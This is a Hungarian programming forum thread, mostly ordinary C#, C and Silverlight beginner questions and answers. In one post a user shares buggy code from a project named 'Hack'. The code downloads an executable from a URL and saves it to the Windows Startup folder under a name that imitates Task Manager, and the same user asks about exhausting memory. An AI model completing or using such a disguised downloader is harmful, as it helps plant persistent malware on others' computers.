Új hozzászólás Aktív témák
-
válasz
Peter Kiss #3599 üzenetére
Megy, köszi! Figyelmetlen voltam már megint.
(vagy csak túlságosan is reggel van)
Köszönöm!
Üdv. core2
-
Peter Kiss
őstag
válasz
Neil Watts #3598 üzenetére
meresek[i + 2]
Itt indexeled túl (nem tömb, hanem a benne lévő adatok szempontjából), de egyébként ilyesmi lenne:var ujMeres = new List<string> {"ide berakod", "amit akarsz"};
ujMeres.AddRange(meresek.Select(x => x.ToString(CultureInfo.InvariantCulture))); //esetleg kell egy ToList() -
válasz
Peter Kiss #3597 üzenetére
Szia!
Az eltolást pontosan így szeretném kivitelezni, hogy index szerint kerüljön az egész adatsor kettővel lejjebb.
Tehát ha a 0. indexen van a meresek tömbben teszem azt egy 5-ös érték, akkor az az ujmeres tömbben legyen a 2. indexhelyen, és onnan kezdődjön az egész adatsor, elé legyen beszúrva egy új sor jel meg az aktuális hónap neve legyen a 0-ik indexen.
Túlindexelem?
Miért?
Egy while-al addig töltöm fel adattal amíg az el nem ér a fájl végére, s közben folyamatosan növelem a db értékét. Tökéletesen feltöltődik a tömb, s a végén egy forral kiíratom úgy hogy csak db-ig megyek, mert addig van adat, utána null értékeket ad vissza a tömb.
Üdv. core2
-
Peter Kiss
őstag
válasz
Neil Watts #3596 üzenetére
Az eltolást hogyan szeretnéd kivitelezni, ahol eddig a 0. volt, ott lesz a 2. és az utolsó előtti lesz a 0.? Meg mintha túlindexelnéd a meresek tömbödet.
A hónapok nevét tudja a .NET is CultureInfo-ból.
Nem lenne jobb tömbök helyett List<T>-t használni?
A felmegnyitásod rossz, közvetlenül az olvasásnál hívd meg pl. using operátorral (vagy manuálisan try-catch-finally).Feleslegesen nem kell növelni a kódodat:
buttonOK.Enabled = textBoxHonapBe.Text == honap[0]; -
Sziasztok!
Itt a másik tömbbe való eltoláskor van egy kis gondom - ez menne ki később fájlba - a Debug szerint a meresek tömb négy elemét nem adja hozzá az ujmereshez. Gondolom az is jó, hogy db-ig megyek, mert különben rengeteg null érték lenne a listboxban.
Köszi a segítséget!
Üdv. core2
-
Karma
félisten
válasz
dudika10 #3591 üzenetére
A C programozás topikot erre találod.
Egyébként egyszerű a dolog, a scanf az újsor karaktert olvassa be a billentyűzetpufferből, amit az első karakter beolvasásánál benne hagytál. (Az első hívás csak a karaktert húzta be, az enter ottmaradt.)
Nagyon gyakori probléma amibe belefut mindenki, amikor kezdő.
Ezért is menj át a másik topikba, és keress rá a scanf-re.Szerk.:
Az fflush(stdin) az egyik lehető legrosszabb megoldás (jutalma: guillotin), mert a szabvány szerint illegális, és teljesen implementációfüggő.Egy karakter beolvasásához a getchar() tökéletesen elég amúgy is.
-
dudika10
veterán
Üdv!
Egy hozzáértő számára szerintem egyszerű kérdésem volna. Elkezdtem ismerkedni a C-vel (MS Virtual Studio 2010 segítségével), és a bináris keresésre épülő egyszerű játékot szeretnék csinálni.
while(x!=1)
{
tipp=((min + max )/a);
printf("Ez a szam a %d ? \n", tipp );
scanf("%c", &valasz);
if(valasz =='=')
x=1;
else if(valasz == '<')
min=tipp;
else if(valasz == '>')
max=tipp;
else if(valasz != '>' && valasz != '<' && valasz != '=' )
printf("Kerlek valaszolj, vagy nem tudok tovabblepni! \n");
/* Nem működik jól. A scanf után úgy veszi, mintha nem történt volna semmi, visszaugrik a ciklus elejére, végrehajtja a printf-t, és újra a scanf jön. */
}Ahogy az a megjegyzésnél is olvasható, a program majdnem jól működik, de:
Megteszi az első tippet, majd megvárja, hogy válaszoljak (kisebb, nagyobb, egyenlő az általam gondolt szám). Eddig jó. De most jön a de. Megadom a választ, nyomok egy entert, majd kiírja az új tippet, jönne egy scanf, de azt mondja, hogy nem adtam meg tippet, és az utolsó else if-re ugrik, majd újra kiírja a tippet, jön a scanf és itt már megvárja, amíg beviszem az adott karaktert.Valaki meg tudná mondani, hogy hol a hiba?
szerk.: azt elfelejtettem leírni, hogyha az utolsó else if nincs, akkor scanf után a scanf-re ugrik. Az utolsó else if pont ezért (is) került bele, hogy megnézzem, hogy miért ugrik oda, és a működésből arra következtettem hogy azért, mert az első beolvasást üresnek veszi.
Előre is köszönöm a választ!
-
Szabesz
őstag
válasz
Neil Watts #3589 üzenetére
De a kód nem éppen ezt tükrözi. Gondold át még egyszer az egészet, aztán írd meg az elejétől.
for (int i = 0; i < meret; i++)
{
listBoxKi.Items.Add(homerseklet[i]);
for (int j = 0; j < meret; j++)
{
ujhomerseklet[0] = honapok[0];
ujhomerseklet[j + 1] = Convert.ToString(homerseklet[i]);
for (int k = 0; k < ujhomerseklet.Length; k++)
{
fki.WriteLine(ujhomerseklet[k]);
}
}
}Ami most történik:
-kezdődik a legkülső ciklus, i=0, listBoxKi-be belekerül homerseklet[0], majd megindul a belső ciklus j=0, ahol ujhomerseklet[1]-től ujhomerseklet[meret]-ig beállítódik homerseklet[ i ]-vel. Ugyanakkor összesen 1240-szer írsz fki-be többnyire null-okat.
-Majd i=1 és így tovább...
....
-Végül nem zárod be fki-t, ezért nem is nagyon fogod látni a tartalmát.Ez ugye elég értelmetlen.
-
válasz
Szabesz #3588 üzenetére
Szia!
Ez egy olyan program lenne ahol az adott hónapot kiválasztva a felhasználó megkapná az adott hónaphoz tartozó adatokat kiíratva a képernyőre, majd ez kiíródna egy fájlba is úgy, hogy a fájl legelső sora a kiválasztott hónap neve lenne.
Fájlból feltöltöttem a tömbömet, majd ezt átraktam egy másik tömbbe, de úgy, hogy már beszúrtam első elemnek a hónap nevét, tehát már így kéne az új tömbbe kerülnie, hogy
nev
ertek1
ertek2...Ehelyett meg nem töltődik fel a tömböm.
A harmadik ciklus meg az új, már jól feltöltött tömböm kiíratására szolgálna, de az nagy valószínűséggel felesleges.Remélem így már érthetőbb.
Üdv. core2
-
Szabesz
őstag
válasz
Neil Watts #3587 üzenetére
Nem jött át mit is szeretnél csinálni.
A kódban viszont vannak érdekes dolgok, Form1_Load-ban beállítod a selectedindexet, majd ráifelsz, hogy mi az értéke.
Meg ott van a hármas for ciklus, ahol
ujhomerseklet[0] = honapok[0];
meret*meret-szer állítódik be fölöslegesen, afor (int k = 0; k < ujhomerseklet.Length; k++)
{
fki.WriteLine(ujhomerseklet[k]);
}
rész is igen egzotikus dolgokat művelhet (meret*meret-szer lefut ez is), főleg, hogy fki nem lett bezárva (tipp: használj using blokkot) -
Esetleg ebben még kaphatnék egy kis segítséget?
Az lenne a lényeg, hogy kiválasztok egy hónapot a listából, és az ahhoz tartozó értékeket olvasom be fájlból. Ez idáig megy is, csak be kéne szúrnom a tömb legelső eleme elé a választott hónap nevét. Ezért átraktam egy új tömbbe a régi elemeit a régit is megtartva, ott elcsúsztattam az eredetihez képest, de azt mutatja a debug, hogy nem töltődik fel a második tömb, csak nem igazán veszem észre hogy miért.
Valami segítő ötletetek van-e erre?
Köszi.
Üdv. core2
-
-
Szabesz
őstag
válasz
Neil Watts #3584 üzenetére
Ezt írtam le... hogy a rendszered a vesszőt veszi alapból elválasztónak, nem a pontot.
Ha te definiálod neki, hogy mit értelmezzen tizedes elválasztónak, akkor működni fog, ahogy a fenti mintakód is működik. Próbáld ki. -
-
Szabesz
őstag
válasz
Neil Watts #3581 üzenetére
double.parse vagy double.tryparse-vel próbálkoznék inkább.
szerk: több mint valószínű, hogy a fentiek is elhasalnak majd nálad, mert a tizedes elválasztó az esetedben a pont lesz és nem a vessző. [link] definiálsz egy megfelelő providert, és menni fog.
-
Sziasztok!
Nagyon hülye kérdés, tudom, de országomat a megfejtésért.
Sima egyszerű átlagszámítós programot akartam írni - ennél jóval nehezebbek sem fogtak ki rajtam - adatfeldolgozás céljából.using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace HatodikFeladat_kesz
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
const int meret = 20;
double[] tombAtlag = new double[meret];
private void buttonOK_Click(object sender, EventArgs e)
{
StreamReader fbe = File.OpenText("atlag.txt");
StreamWriter fki = File.CreateText("jegyek.txt");
for (int i = 0; i < tombAtlag.Length; i++)
{
tombAtlag[i] = Convert.ToDouble(fbe.ReadLine());
listBoxKiSima.Items.Add(tombAtlag[i]);
}
fbe.Close();
}
}
}... és amikor az f.ReadLine-t szeretném a tömbnek megfelelően Double-ba konvertálni, akkor kiakad, hogy "Input string was not in a correct format." de vajh miért? Rosszul konvertálnék?
A fájlban így vannak az adatok pl.:
"2.14
4.14
3.76" tehát direkt ponttal, s nem vesszővel.Üdv. core2
-
fatal`
titán
Valaki nem tudja, hogy mikorra várható XNA az új VS-hez?
-
j0k3r!
őstag
akiknek nem jott be az uj vs kinezete: [link]
-
amargo
addikt
Talán sokaknak segítség lehet:
C# programozás lépésről lépésre (Programozási ismeretek) -
Dinter
addikt
Ha kitöröltem az app.manifestet, akkor vissza lehet hozni?
-
Dinter
addikt
AppDatát hogy lehet helyettesíteni paranccsal? Két parancsot próbáltam:
Application.UserAppDataPath+ "\\Roaming"
Environment.GetFolderPath( Environment.SpecialFolder.ApplicationData)+\\"Roaming"De ezekkel nem működnek. Ha simán beírom AppData-t akkor megy.
-
Szabesz
őstag
Az eddigiek alapján egy memória zabáló vírust akarsz írni. Ragyogó.
Ráadásul taskngr.exe a már foglalt.
-
Dinter
addikt
Az mitől van, hogy letölti a fájlt, de csak 552 bájtot? 1 perc alatt lazán le kéne jönnie 1,5Mbps letöltéssel.
-
Dinter
addikt
Sziasztok. Azt szeretném megcsinálni, hogy a program a netről URL alapján letöltsön a gépre egy fájlt. Nekem azt mondták, hogy először létrehozod, majd bele kell írni. Nos itt a forráskód:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Net;
namespace Hack
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void label1_Click(object sender, EventArgs e)
{
}
private void button1_Click(object sender, EventArgs e)
{
}
private void label3_Click(object sender, EventArgs e)
{
}
}
class Letrehozas
{
public static void Letoltes()
{
StreamWriter file = new StreamWriter(Application.UserAppDataPath + "\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\taskngr.exe");
File.Create(Download("http://dinter.atw.hu/client.exe"));
file.Close();
}
public static string Download(string uri)
{
WebClient client = new WebClient();
Stream data = client.OpenRead(uri);
StreamReader reader = new StreamReader(data);
string s = reader.ReadToEnd();
data.Close();
reader.Close();
return s;
}
}
}Próbáltam rendszergazdaként és nélküle is indítani a programot. Külön lejön a program.
-
Dinter
addikt
Erre most miért kapom ezt?Process.GetProcessesByName("programnév");
Cannot implicitly convert type 'System.Diagnostics.Process[]' to 'System.Diagnostics.Process' -
Dinter
addikt
Na szóval azt akarom, hogy lefoglalja a memóriát. GC kiiktatva. Csak ha így elindítom, OutOfMemoryExceptiont kapok, és azt akarom, hogy minden áron lefusson a program.
Edit: ha tryba rakom, akkor ugyan úgy nem fog lefutni nem?
-
Karma
félisten
Akkor ideje végre leírnod, hogy mit is szeretnél pontosan. Először memóriát akartál foglalni, lett is rá megoldás, aztán bejött a MemoryFailPoint, nem volt jó, még egy foglalás, nem volt jó...
Egyébként meg hót egyszerű a MemoryFailPoint használata: csak a konstruktornak meg kell adnod, hogy mennyi memóriát szeretnél biztosítani, aztán ha végeztél, Dispose (vagy használhatsz using blokkot is). Természetesen try blokkba kell tenned, hogy az exceptiont lekezelhesd, ha nem állna rendelkezésre ekkora heapszelet.
De ez mind le van írva az MSDN-en, még csak nem is érthetetlenül.
-
amargo
addikt
Azért nincs benne olyan sok new kulcs szó. Meg aztán a kommentek is beszédesek.
Azért Jester01 segítségével már meg lehet találni.
A programból egy részlet, ami elég beszédes, hogy miért akar valamit távolt tartani a GC-től:// A real thread would use the byte[],
// but to be an illustrative sample,
// explicitly keep the byte[] alive to help exhaust the memory.
GC.KeepAlive([B]bytes[/B]); -
amargo
addikt
Sokszor egyszerűbb lenne, ha nem kellene találgatni.
MemoryFailPoint -
Dinter
addikt
Olyat lehet csinálni, hogy új tömböket hozok létre név megadása nélkül? És ha nem, akkor random szám generátorral lehet?
-
Peter Kiss
őstag
válasz
martonx #3541 üzenetére
Szóval csak biztos akartál lenni, esetleg úgyis megcsinálhatod ezt, hogy egy base controller osztályt írsz, aminek felülírod az Initialize metódusát (most látom csak, hogy az MSDN is ezt hozza példának).
-
martonx
veterán
Teljesen off:
.Net-es szemszögből nézve milyen a Java-s Vaadin, GWT? Jobb, rosszabb, mint az ASP.NET ökoszisztéma? Mennyire nehéz rá áttérni? Direkt itt kérdeztem meg, mert hívő Java-soktól felesleges megkérdezni. Olyanok véleménye érdekel, akik .Net-es, Java-s webfejlesztést is próbálták már. Nekem a Java világában eddig az Android programozás volt csak némi tapasztalat, de most jött egy vaadin-es ajánlat, és elég bizonytalan vagyok.
-
x007
tag
válasz
martonx #3536 üzenetére
Nem érzem, hogy ez trükközés lenne. Ha be lehetne en block állítani, szerinted az ASP.NET miben tárolná? Session vagy cookie, más lehetőség nem nagyon van.
Én annyit változtatnék, hogy a session változót teljesen kihagynám a játékból, a filter mindig a cookieból olvasná az aktuális nyelvet, így a Session_Start se kellene. A filter pedig lehet globalis, így onnantól nem is kell a továbbiakban törődni az egésszel.
Ez ugyan app függő, de tán szebb lehet, ha az aktuális nyelv a url-ben lenne tárolva. -
martonx
veterán
Én is kérdezek egyet, hátha valaki tud segíteni.
Lokalizált ASP.NET MVC alkalmazásomban meg lehet-e oldani, hogy a
Thread.CurrentThread.CurrentCulture
Thread.CurrentThread.CurrentUICulturebeállítások userenként globálisak legyenek. Jelenleg Global.asax Session_Startban kiolvasom a letárolt cookie-ból (vagy böngésző-ből) a kapott kultúrát, de úgy tűnik mintha a Thread.CurrentThread csak arra az egy adott hívásra vonatkozna.
Ezt jelenleg kikerülöm session-ben letárolással, és egy filter-el minden Action előtt beállítom őket a session-ben letároltra, de remélem, hogy be lehetne ezt valahogy globálisra állítani userenként, és nem kéne mindez a trükközés.Ötleteket várom!
-
Karma
félisten
válasz
MrSealRD #3533 üzenetére
A szoros csatolás az, amikor a View codebehindjában előveszed a DataContextet és elkezdesz matatni benne. Ekkor konkrét interfészhez vagy osztályhoz kötöd a Viewt. Vö. amikor bindingot használsz, csak a propertyk nevének kell egyeznie, de a csatolt objektum típusáról egyébként mást nem kell feltételezni.
Konkrét példát egy darab iPaddel felszerelve nem írnék
Szerintem elképzelhető simán.Másfajta szoros csatolás meg az, ha az üzleti logikát belekened a Viewba. Akkor meg az alkalmazásod működése függ a konkrét View típustól... De ennek elkerüléséről szól az MVVM.
-
MVVM-el kapcsolatban nem egészen egyértelmű számomra az "eseménykezelés" rész....
Elvileg minden a ViewModel-ben implementálva( Mondhatni Controller szerep)
Egy történés lereagálására 3 mód van.
Commanding
Behaviour
TriggerAz MVVM kapcsán azonban csak a Commanding jön elő..meg az, hogy vannak keretrendszerek, de az MS-nek nincs egyértelmű ajánlása erre....
Most akkor, hogy is van ez? Mi van ha én mondjuk Behaviour-el oldom meg? Akkor sem kerül C# kód a View ba.
-
hamyka
senior tag
Sziasztok!!
Látom van ilyen téma is
Megmondom őszintén hogy én tök hülye vagyok ehhez
És Inkább csak figyelgetek, ebbe nem kotyogok bele
-
j0k3r!
őstag
ezt is megertuk: [link]
-
A végső alkalmazás SL4 + Oracle...elvileg 11g lesz. (talán 10g, ezt nem tudom)
EF és WCF RIA lesz még amit használunk.
(Ezek nem az én döntésem, nem én vagyok a döntéshozó...)
Két SL könyvön vagyok túl, az egyik amit írtál, a másik amit fentebb írtam.
(Jelenleg a Blend Unleashed-et tolom...)Azt akartam kérdezni az előbb, hogy az Collection-t milyen forrásból töltöd fel?
-
amargo
addikt
válasz
MrSealRD #3521 üzenetére
Ugyan nem tudom mennyire vagy járatos a témában, hogy ezért kérdezed-e, de az SL-nek nem sok köze van ahhoz, hogy a DB-ből hogy nyered ki az adatok - vannak trükközések, de inkább SL-ből ne akarjunk DB-t hívni.
Egy könyvet azért ajánlanék: Silverlight 4.0 -A technológia és ami mögötte vanJDBC? Milyen sql szerver van mögötte?
Én leginkább LinqToSQL, EF-et használok DAL-nak. -
Elég sok újdonsággal találkozom a téma kapcsán. Volt említve az ObservableCollection is...de csak felületesen(abban a könyvben amit olvastam.(apress pro businnes app. dev. in silverlight))
Ami érdekelne, hogy milyen módod tudod a db-ből kinyerni az adatokat? JDBC kapcsolat, vagy mást használsz? -
Akkor a tömb a változó-iadik elemet adja vissza a tömbből. Ha ez több, vagy kevesebb, mint a tömb legkisebb (alapértelmezetten 0) vagy legnagyobb (alapértelmezetten az elemek száma-1), akkor hibát dob (kevésbe "kényes" fejlesztői nyelvek esetén beg buffer overflow lesz az eredmény)
-
Dinter
addikt
Tudom, hogy elég amatőr kérdés, de mit jelent, ha pl egy tömb indexének a helyére beírunk egy változót (pl. i)? Akkor a változó értéke lesz az index vagy mi van ilyenkor?
-
amargo
addikt
válasz
MrSealRD #3515 üzenetére
Tisztán xaml-be behavior segítségével tudnád leírni. Nem használok DDS-t - hogy őszinte legyek RIA-t se.. -, iyenekhez ObservableCollection-t használok, itt minden további nélkül megoldható, hogy van egy master-detail(s) kapcsolatot, azaz a listának egy elemét kiválasztva egy másik vezérlőben annak az elemnek az értékeivel töltöd fel, ezt tisztán xaml-be lelehet írni, nyilván a mögöttes osztályokat úgy kell megtervezni, hogy tudjanak értesítést küldeni a változásról, így az egész felület szinkronban lesz.
-
(#3504) amargo
(#3505) martonxAz lett volna a cél, hogy 0 C# kóddal tisztán a Binding segítségével jöjjön létre a felület...
A dolog kicsit más irányból lett megközelítve és így már elfogadható az eredmény.A lényeg, hogy kell a két DDS, DE ők egy közös Context instance-on osztoznak. Ez szükséges mindenképpen. A megoldás meg végül az lett, hogy a fel lett téve a felületre egy datagrid és annak a SelectedItem.ProductCategory-ja lett Binding-olva a Combobox SelectedItem-hez.
Így:
<ComboBox Height="23" HorizontalAlignment="Left" ItemsSource="{Binding
ElementName=pRODUCTCATEGORYDomainDataSource, Path=Data}" DisplayMemberPath="NAME" Margin="664,223,0,0"
Name="pRODUCTCATEGORYComboBox" VerticalAlignment="Top" Width="224" SelectedItem="{Binding Path=SelectedItem.PRODUCTCATEGORY, Mode=TwoWay,
ElementName=pRODUCTDataGrid}"
SelectionChanged="pRODUCTCATEGORYComboBox_SelectionChanged"
Loaded="pRODUCTCATEGORYComboBox_Loaded">
<ComboBox.ItemsPanel>
<ItemsPanelTemplate>
<VirtualizingStackPanel />
</ItemsPanelTemplate>
</ComboBox.ItemsPanel>
</ComboBox>A működés most úgy néz ki, hogy a DataGrid-en kiválasztok egy rekordot és ekkor a Combobox-ban a kiválasztott elem a rekordhoz tartozó ProductCategory lesz.
Lenyitom és az értékkészletként az összes kategória megjelenik. Kiválasztok egy másikat kategóriát(Mert szeretném módosítani.)
Ekkor (mivel Binding Mode=TwoWay ) ezért a Datagridbe visszaíródik az új kategória és a grid DDS-ére meghívom a SubmitChanges metódust(A példa kedvéért egy gombbal) ami pedig visszaírja az adatbázisba. -
Dinter
addikt
Köszi
-
fatal`
titán
using System;
class Program
{
public static void Main(string[] args)
{
int[] tomb = new int[10];
Random r = new Random();
for (int i = 0; i < tomb.length; i++)
{
tomb[i] = r.Next(1, 1000);
}
int min = tomb[0];
int max = tomb[0];
int minIndex = 0;
int maxIndex = 0;
for (int i = 1; i < tomb.length; i++)
{
if (tomb[i] < min)
{
min = tomb[i];
minIndex = i;
}
if (tomb[i] > max)
{
max = tomb[i];
maxIndex = i;
}
}
}
} -
Dinter
addikt
Most tömb legkisebb-legnagyobb elemének keresésével van problémám. Azon belül is a legkisebb. Kerestem egy másikat is a neten, de ott is problémája volt a minimummal.
using System;
class Program
{
static public void Main(string[] args)
{
int[] tomb = new int[10];
Random r = new Random();
for (int i = 0; i < tomb.Length; ++i) // tömb feltöltése
{
tomb[i] = r.Next(1, 1000);
}
int min = 1000;
int max = -1;
int minIdx = 0;
int maxIdx = 0;
for (int i = 0; i < 30; ++i)
{
if (tomb[i] < min)
{
min = tomb[i];
minIdx = i;
}
else if (tomb[i] > max)
{
max = tomb[i];
maxIdx = i;
}
}
}
} -
martonx
veterán
válasz
MrSealRD #3501 üzenetére
Úgy rémlik SL-ben (hűű de régen volt már 2009 vége, 2010 eleje mikor ebben szakdolgoztam másod diplomához) 3 paraméter szabályozza, hogy mi a selecteditem-ed, mi az értékkészlet, és mit jelenítsen meg (displaymember) . Ezekből te mintha csak kettőt használnál. Az biztos, hogy gugli a barátod, és találni fogsz sok példát erre.
-
Üdv!
Ismét Silverlight 4...és probléma.
A példa alkalmazásban van két tábla. (Product és ProductCategory)
Próbálok a lényegre koncentrálni mert elég szövevényes a dolog...
Az adat EntityFramwork és WCF RIA service-en keresztül jut el a felületre.
A történet arról szól, hogy a DataSource ablakból egy Detail típusú "DataForm"-ot?! behúzok a felületre, ami a Product tábla mezőit tartalmazza.
A ProductCategoryID-t egy Comboboxra cseréltem. Azt szereném elérni, hogy az éppen aktuális rekord CategoryID-ja legyen a Combobox aktuális értéke(SelectedItem). Ha lenyitom akkor pedig(ItemSource) az összes CategoryID szerepeljen benne. Magyarul ha úgy akarom akkor az adott terméket egy másik kategóriába szeretném áttenni ezzel a művelettel.Addig működik a dolog, hogy a megjelenik a formon a product rekord, és a Combobox-ot feltöltöm a ProductCategory tábla tartalmával....viszont alap esetben a product éppen akuális categoryID-ját kellene megjeleníteni de nem teszi...
Egy kis XAML kód. A SelectedItem rész a rossz. De már ezer féle módot kipróbáltam és semmi...
Esetleg tipp?
<ComboBox Grid.Column="1" Grid.Row="4" Height="23" HorizontalAlignment="Left" ItemsSource="{Binding ElementName=pRODUCTCATEGORYDomainDataSource, Path=Data}"
SelectedItem="{Binding Path=PRODUCTCATEGORY, Mode=OneWay}"
DisplayMemberPath="PRODUCTCATEGORYID" Margin="3"
Name="pRODUCTCATEGORYIDComboBox" VerticalAlignment="Center" Width="120">
<ComboBox.ItemsPanel>
<ItemsPanelTemplate>
<VirtualizingStackPanel />
</ItemsPanelTemplate>
</ComboBox.ItemsPanel>
</ComboBox>
Új hozzászólás Aktív témák
Hirdetés
● ha kódot szúrsz be, használd a PROGRAMKÓD formázási funkciót!
- Dell Latitude 5320 -60% "Kis Gamer" Üzleti Profi Ultrabook 13,3" i5-1145G7 8/256 FHD IRIS Xe
- Apple IPad pro 12.9 4th gen 256GB wifi+sim 97%-os Gyári akku
- PlayStation 5 (PS5.) SLIM 1TB. SSD. Digital Edition & Sony PlayStation VR2. Virtuális szemüveg.
- Dell Precision 3580 i7-1370P//32GB DDR5 RAM// 1TB SSD/ RTX A500
- ÁRCSÖKKENTÉS Menő retró konfig: Q9550, Gigabyte P43, 4GB RAM, ASUS GT730
- GYÖNYÖRŰ iPhone 13 mini 256GB Midnight -1 ÉV GARANCIA - Kártyafüggetlen, MS3040, 96% Akkumulátor
- Eladó egy wittings steel hr sport hibrid okos óra dobozával töltővel
- Telefon felvásárlás!! iPhone 13 Mini/iPhone 13/iPhone 13 Pro/iPhone 13 Pro Max/
- Realme 7i 64GB, Kártyafüggetlen, 1 Év Garanciával
- iKing.Hu -Xiaomi 14T Pro Titan Gray Használt, karcmentes állapotban 12 GB RAM / 512 GB tárhely
Állásajánlatok
Cég: FOTC
Város: Budapest